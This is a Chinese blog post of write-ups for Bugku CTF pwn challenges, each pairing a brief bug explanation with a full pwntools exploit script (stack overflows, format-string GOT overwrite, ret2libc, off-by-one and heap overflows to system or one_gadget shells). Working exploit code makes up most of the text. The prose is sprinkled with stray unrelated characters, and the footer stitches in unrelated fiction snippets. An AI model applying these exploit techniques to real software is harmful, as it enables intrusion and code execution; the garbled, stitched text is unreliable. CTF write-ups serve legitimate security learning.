[new bugku] pwn

最簡單的pwn

  • nc然后cat flag

pwn3

  • 64位棧溢出,程序有后門囱井,棧溢出然后return到后門即可
from pwn import *

p = process('./pwn3')

p.recvuntil(' something?\n')

payload = 'a'*0x30 + 'bbbbbbbb' + p64(0x400751)
p.sendline(payload)

p.interactive()

pwn7

  • 32位教科書棧溢出驹尼,先利用write函數(shù)泄漏libc地址,然后得到system和binsh地址庞呕,最后再system('/bin/sh\x00')
from pwn import *

context.log_level = 'debug'

p = process('./pwn7')
elf = ELF('./pwn7')

write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']

p.recvuntil('your name:\n')
payload = 'a'*0x24 + 'bbbb' + p32(write_plt) + p32(0x0804846B)
payload += p32(1) + p32(write_got) + p32(4)
p.sendline(payload)

write_addr = u32(p.recv(4))
log.success('write addr : 0x%x'%write_addr)
offset_write = 0x000d43c0
offset_system = 0x0003a940
offset_str_bin_sh = 0x15902b
libc_base = write_addr - offset_write
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh

payload = 'a'*0x24 + 'bbbb' + p32(system_addr) + p32(0xdeadbeef)
payload += p32(binsh_addr)
p.sendline(payload)

p.interactive()

pwn11

  • 首先程序是個比較簡單的32位elf新翎,是個猜數(shù)字游戲
  • 漏洞點在read_name函數(shù)有個整數(shù)溢出,v2為有符號數(shù),而for循環(huán)中i為無符號數(shù)料祠,所以當有符號數(shù)與無符號數(shù)比較時骆捧,會將有符號數(shù)強制轉(zhuǎn)換成無符號數(shù)澎羞,當輸入-1時髓绽,v2在比較中就變成了最大的正數(shù),因此可以棧溢出
  • 程序正好有個后門妆绞,直接棧溢出執(zhí)行后門即可得到flag
from pwn import *

context.log_level = 'debug'

p = process('./f4n_pwn')

p.recvuntil('length : ')
p.sendline('-1')
payload = 'a'*0x57 + p32(0x080486BB)
p.recvuntil('name : \n')
p.sendline(payload)

p.interactive()

pwn9

  • 棧的格式化字符串漏洞顺呕,只有一次機會,由于程序開了canary括饶,所以可以將__stack_chk_fail@got改成后門地址株茶,當棧溢出時程序執(zhí)行__stack_chk_fail函數(shù)既能getshell
from pwn import *

context.log_level = 'debug'

p = process('./babyfmt')
elf = ELF('./babyfmt')

stack_chk_fail_got = elf.got['__stack_chk_fail']
#gdb.attach(p)
payload = 'aaaaa%1569d%8$hn' + p64(stack_chk_fail_got)
payload += 'a'*0x60
p.sendline(payload)

p.interactive()

pwn4

  • 棧溢出漏洞,程序有system函數(shù)图焰,但是沒binsh启盛,但是有$0,system($0)可以getshell(略坑)
from pwn import *

context.log_level = 'debug'

p = process('./pwn4')
elf = ELF('./pwn4')

read_plt = elf.plt['read']
read_got = elf.got['read']
system = elf.plt['system']
pop_ret = 0x4007d3
binsh_addr = 0x60111F

p.recvuntil('pwn me\n')
payload = 'a'*0x10 + 'bbbbbbbb' + p64(pop_ret) + p64(binsh_addr) + p64(system)
p.sendline(payload)

p.interactive()

pwn5

  • 棧上格式化漏洞配合棧溢出漏洞技羔,首先利用格式化泄漏libc地址僵闯,然后棧溢出執(zhí)行system('/bin/sh\x00')
  • 可以得到__libc_start_main_ret地址的偏移為 0x28/8.0 + 6 (64位elf前6個參數(shù)為寄存器傳參) = 11,然后泄漏libc藤滥,得到system和sh的地址

  • 想到棧溢出需要繞過循環(huán)鳖粟,循環(huán)中判斷輸入是否為"鴿子","真香"的母串拙绊,于是輸入中需要有這兩個詞才能ret到system函數(shù)否則直接退出

#coding:utf-8
from pwn import *

context.log_level = 'debug'

p = process('./human')

p.recvuntil('\n\n')
p.sendline('%11$p')
libc_start_main_ret = int(p.recvuntil('\n',drop=True)[2:],16)
log.success('__libc_start_main_ret : 0x%x'%libc_start_main_ret)
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
libc_base = libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
pop_rdi = 0x400933
gdb.attach(p)
payload = 'a鴿子' + 'a'
payload += '真香' + '\x00'
payload = payload.ljust(0x20,'a')
payload += 'bbbbbbbb' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.recvuntil('?\n')
p.sendline(payload)

p.interactive()

pwn6

  • edit函數(shù)存在off by one向图,可以修改next chunk的size,然后chunk overlapping控制下一堆塊的內(nèi)容标沪,然后修改指針榄攀,泄漏地址以及改free_got為system地址,具體可參照hitcon training lab13
from pwn import *

context.log_level = 'debug'

def write(size,content):
    p.recvuntil('choice :')
    p.sendline('1')
    p.recvuntil('note :')
    p.sendline(str(size))
    p.recvuntil('note:')
    p.sendline(content)

def edit(id,content):
    p.recvuntil('choice :')
    p.sendline('2')
    p.recvuntil(' note :')
    p.sendline(str(id))
    p.recvuntil('note : ')
    p.sendline(content)

def show(id):
    p.recvuntil('choice :')
    p.sendline('3')
    p.recvuntil('note :')
    p.sendline(str(id))

def delete(id):
    p.recvuntil('choice :')
    p.sendline('4')
    p.recvuntil('note :')
    p.sendline(str(id))

def quit():
    p.recvuntil('choice :')
    p.sendline('5')


p = process('./heap1')
elf = ELF('./heap1')

free_got = elf.got['free']

write(0x18,'a'*0x10) #0
write(0x10,'b'*0x10) #1
write(0x10,'/bin/sh\x00') #2

edit(0,'a'*0x18 + '\x61')
delete(1)
write(0x50,'ddddd') #1
edit(1,'d'*0x18+p64(0x21)+p64(0x50)+p64(free_got))
# leak freeaddr
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
offset_free = 0x00000000000844f0
offset_system = 0x0000000000045390
libc_base = free_addr - offset_free
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + offset_system
#gdb.attach(p)
edit(1,p64(system_addr))
delete(2)

p.interactive()

read_note

  • 棧溢出漏洞金句,但是開了canary和pie檩赢,所以我們先要利用puts函數(shù)泄漏canary,elf_base趴梢,和libc_base漠畜,然后ret到system('/bin/sh\x00')
from pwn import *

context.log_level = 'debug'

p = process('./read_note')

#leak canary
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x259)
p.recvuntil('a'*0x259)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
log.success('canary : 0x%x'%canary)
log.success('ebp : 0x%x'%ebp)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )

#leak elf_base
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x268)
p.recvuntil('a'*0x268)
elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2e
log.success('elf_base : 0x%x'%elf_base)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )

# #leak libc
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x288)
p.recvuntil('a'*0x288)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x20830
log.success('libc_base : 0x%x'%libc_base)
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
pop_ret = elf_base + 0xe03
p.recvuntil('s 624)\n')
payload = 'a'*0x258 + p64(canary) + p64(ebp) + p64(elf_base+0xd20)
p.send(payload)

# #leak libc
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + p64(pop_ret) + p64(binsh_addr) + p64(system_addr) )
#gdb.attach(p)
p.recvuntil('s 624)\n')
payload = 'a'
p.send(payload)


p.interactive()

pwn10

  • 有個堆溢出漏洞,通過構(gòu)造small bins坞靶,然后溢出修改next chunk的pre size和size然后利用前向合并得到正在使用的堆塊憔狞,然后通過unsorted bin泄漏libc,再修改malloc_hook為one_gadget
from pwn import *

#context.log_level = 'debug'

def create(size):
    p.recvuntil('choice:>\n')
    p.sendline('1')
    p.recvuntil('length: \n')
    p.sendline(str(size))
    p.recvuntil('y/n)\n')
    p.sendline('n')

def write(index,size,data):
    p.recvuntil('choice:>\n')
    p.sendline('2')
    p.recvuntil('write: ')
    p.sendline(str(index))
    p.recvuntil('write: ')
    p.sendline(str(size))
    p.recvuntil('write:\n')
    p.send(data)

def view(index):
    p.recvuntil('choice:>\n')
    p.sendline('4')
    p.recvuntil('look: ')
    p.sendline(str(index))

def delete(index):
    p.recvuntil('choice:>\n')
    p.sendline('3')
    p.recvuntil('delete: ')
    p.sendline(str(index))

p = process('./diary')

create(0x10) #0
create(0x80) #1
write(0,0x6,'aaaa')
create(0x80) #2
create(0x80) #3
create(0x60) #4
create(0x60) #5
create(0x10) #6

delete(1)
payload = p64(0)*16 + p64(0x120) + p64(0x90)
write(2,len(payload),payload)
delete(3)
create(0x80) #1
view(2)

p.recvuntil('---\n')
libc_base = u64(p.recv(8)) - 88 - 0x3c4b20
log.success('libc_base : 0x%x'%libc_base)
malloc_hook = libc_base + 0x3c4b10
log.success('malloc_hook : 0x%x'%malloc_hook)
one_gadget = libc_base + 0x4526a

delete(5)
payload = p64(0)*12 + p64(0) + p64(0x71) + p64(malloc_hook-0x23)
write(4,len(payload),payload)
create(0x60) #3
create(0x60) #5
payload = 'a'*0x13+p64(one_gadget)
write(5,len(payload),payload)

p.recvuntil('choice:>\n')
p.sendline('1')
p.recvuntil('length: \n')
p.sendline('20')
#gdb.attach(p)
p.interactive()

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末彰阴,一起剝皮案震驚了整個濱河市瘾敢,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖簇抵,帶你破解...
    沈念sama閱讀 218,036評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件庆杜,死亡現(xiàn)場離奇詭異,居然都是意外死亡碟摆,警方通過查閱死者的電腦和手機晃财,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,046評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來典蜕,“玉大人断盛,你說我怎么就攤上這事∮涮颍” “怎么了钢猛?”我有些...
    開封第一講書人閱讀 164,411評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長轩缤。 經(jīng)常有香客問我命迈,道長,這世上最難降的妖魔是什么火的? 我笑而不...
    開封第一講書人閱讀 58,622評論 1 293
  • 正文 為了忘掉前任壶愤,我火速辦了婚禮,結(jié)果婚禮上卫玖,老公的妹妹穿的比我還像新娘公你。我一直安慰自己,他們只是感情好假瞬,可當我...
    茶點故事閱讀 67,661評論 6 392
  • 文/花漫 我一把揭開白布陕靠。 她就那樣靜靜地躺著,像睡著了一般脱茉。 火紅的嫁衣襯著肌膚如雪剪芥。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,521評論 1 304
  • 那天琴许,我揣著相機與錄音税肪,去河邊找鬼。 笑死榜田,一個胖子當著我的面吹牛益兄,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播箭券,決...
    沈念sama閱讀 40,288評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼净捅,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了辩块?” 一聲冷哼從身側(cè)響起蛔六,我...
    開封第一講書人閱讀 39,200評論 0 276
  • 序言:老撾萬榮一對情侶失蹤荆永,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后国章,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體具钥,經(jīng)...
    沈念sama閱讀 45,644評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,837評論 3 336
  • 正文 我和宋清朗相戀三年液兽,在試婚紗的時候發(fā)現(xiàn)自己被綠了骂删。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,953評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡抵碟,死狀恐怖桃漾,靈堂內(nèi)的尸體忽然破棺而出坏匪,到底是詐尸還是另有隱情拟逮,我是刑警寧澤,帶...
    沈念sama閱讀 35,673評論 5 346
  • 正文 年R本政府宣布适滓,位于F島的核電站敦迄,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏凭迹。R本人自食惡果不足惜罚屋,卻給世界環(huán)境...
    茶點故事閱讀 41,281評論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望嗅绸。 院中可真熱鬧脾猛,春花似錦、人聲如沸鱼鸠。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,889評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽蚀狰。三九已至愉昆,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間麻蹋,已是汗流浹背跛溉。 一陣腳步聲響...
    開封第一講書人閱讀 33,011評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留扮授,地道東北人芳室。 一個月前我還...
    沈念sama閱讀 48,119評論 3 370
  • 正文 我出身青樓,卻偏偏與公主長得像刹勃,于是被迫代替她去往敵國和親堪侯。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,901評論 2 355